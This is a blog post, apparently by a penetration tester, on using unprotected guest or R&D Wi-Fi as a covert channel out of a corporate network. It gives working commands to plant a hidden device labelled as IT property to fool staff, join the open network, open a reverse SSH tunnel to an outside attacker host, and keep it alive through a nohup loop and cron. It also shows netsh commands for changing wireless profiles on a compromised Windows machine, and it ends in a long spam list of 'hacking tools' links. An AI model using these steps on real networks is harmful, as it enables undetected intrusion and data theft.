Minggu, 23 Agustus 2020

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

More articles


  1. Pentest Box Tools Download
  2. Hacking Tools 2020
  3. Nsa Hack Tools Download
  4. Hacking Tools For Games
  5. Hack Tools
  6. Hacker Tools Windows
  7. Hacking Tools For Kali Linux
  8. Underground Hacker Sites
  9. Install Pentest Tools Ubuntu
  10. Hacker Tools Apk Download
  11. Hacking Tools Software
  12. Pentest Tools
  13. Blackhat Hacker Tools
  14. Hacking Apps
  15. Tools 4 Hack
  16. Wifi Hacker Tools For Windows
  17. Hacker Tools For Ios
  18. Hacker Search Tools
  19. Hack Tool Apk
  20. Hack Tools Download
  21. New Hack Tools
  22. Best Hacking Tools 2019
  23. Pentest Tools Linux
  24. Best Hacking Tools 2019
  25. Hacking Tools Hardware
  26. Hacker Techniques Tools And Incident Handling
  27. Hacking Tools Usb
  28. Tools Used For Hacking
  29. Pentest Tools Website
  30. How To Install Pentest Tools In Ubuntu
  31. Hacking Tools And Software
  32. Tools Used For Hacking
  33. Hackrf Tools
  34. Hacker Tools For Windows
  35. Hacking Tools For Windows
  36. Growth Hacker Tools
  37. Hacker Tools 2020
  38. Pentest Box Tools Download
  39. Game Hacking
  40. Hacking Tools For Games
  41. Pentest Tools Website
  42. How To Hack
  43. Hacker Tools For Windows
  44. Hacking Tools For Beginners
  45. Hacker Tools Apk
  46. Hacking Tools 2020
  47. Nsa Hack Tools Download
  48. Pentest Tools For Windows
  49. Hacker Tools List
  50. Hacker Tools List
  51. How To Hack
  52. Hacker Hardware Tools
  53. Best Hacking Tools 2020
  54. Pentest Tools Apk
  55. Hacking App
  56. Hack Tools Github
  57. Wifi Hacker Tools For Windows
  58. Pentest Tools Apk
  59. Physical Pentest Tools
  60. What Are Hacking Tools
  61. Hacker Tools
  62. Game Hacking
  63. Hacking Tools For Windows 7
  64. Pentest Tools Kali Linux
  65. What Are Hacking Tools
  66. Black Hat Hacker Tools
  67. Top Pentest Tools
  68. Best Hacking Tools 2019
  69. Android Hack Tools Github
  70. Hacking Tools For Windows 7
  71. Hack Tool Apk
  72. Hack Tool Apk
  73. Hack Tools Pc
  74. Hack Tools 2019
  75. Pentest Tools Nmap
  76. Easy Hack Tools
  77. How To Hack
  78. Hack Tools 2019
  79. Hacker
  80. Hack Tools For Games
  81. Pentest Tools For Mac
  82. Hacker Tools
  83. Hacker Tools Github
  84. Pentest Tools Find Subdomains
  85. Hacker Tools Apk
  86. Hacking Tools Mac
  87. Hacking Tools For Mac
  88. Hacker Tools For Pc
  89. Install Pentest Tools Ubuntu
  90. How To Make Hacking Tools
  91. Pentest Tools Url Fuzzer
  92. Kik Hack Tools
  93. Hacking Tools Hardware
  94. Underground Hacker Sites
  95. Hacking Tools 2020
  96. Pentest Tools Review
  97. Hack Tools For Games
  98. Hacking Tools For Kali Linux
  99. Hacker Tools For Ios
  100. Hacker Tools
  101. Hacker Tools Linux
  102. Hacking Tools Pc
  103. Hacking Tools Usb
  104. Hacking Tools For Mac
  105. Hacking Tools Download
  106. Hack Tools Pc
  107. Pentest Box Tools Download
  108. Hacking Tools Github
  109. Hacker Tools 2020
  110. Pentest Tools Bluekeep
  111. Hacker Techniques Tools And Incident Handling
  112. Best Pentesting Tools 2018
  113. Hacker Techniques Tools And Incident Handling
  114. Black Hat Hacker Tools
  115. Hack Tools
  116. Hacking Tools For Mac
  117. Nsa Hacker Tools
  118. Pentest Box Tools Download
  119. Pentest Tools Linux
  120. Hacking Tools For Windows Free Download
  121. Pentest Box Tools Download
  122. Hacking Tools Kit
  123. Top Pentest Tools
  124. Hacker Tools Mac
  125. Pentest Tools Android
  126. Hacker Tools Windows
  127. Nsa Hack Tools Download
  128. Hacker Tools Windows
  129. Hackrf Tools
  130. Hacker Tools Apk Download
  131. Hacking Tools 2020
  132. Hacking Tools For Windows 7
  133. Best Hacking Tools 2020
  134. Hack Tools For Games
  135. Hacker Hardware Tools
  136. Black Hat Hacker Tools
  137. Hacker Tools Github
  138. Hacker Tools Free Download
  139. Pentest Tools
  140. Github Hacking Tools
  141. What Are Hacking Tools
  142. Hack Apps
  143. Hacking Tools Free Download
  144. Hacker Tools Free Download
  145. Hacker Tool Kit
  146. Hacking Tools
  147. Hacker Tools For Windows
  148. Hackrf Tools
  149. How To Hack
  150. Black Hat Hacker Tools
  151. Hacking Tools For Kali Linux
  152. Pentest Tools For Android
  153. Pentest Tools Review
  154. Pentest Tools Download
  155. Pentest Tools Nmap
  156. Hack Tools Mac
  157. Pentest Tools Url Fuzzer
  158. Hacker Tools Apk Download
  159. Hack Apps
  160. Hacker Tools Github
  161. Hacker Tools For Mac
  162. Hacking Tools
  163. Pentest Recon Tools
  164. Pentest Tools Open Source
  165. Pentest Tools Review
  166. Blackhat Hacker Tools
  167. Pentest Tools Url Fuzzer
  168. Hacker Search Tools
  169. Game Hacking
  170. Hackrf Tools

Tidak ada komentar:

Posting Komentar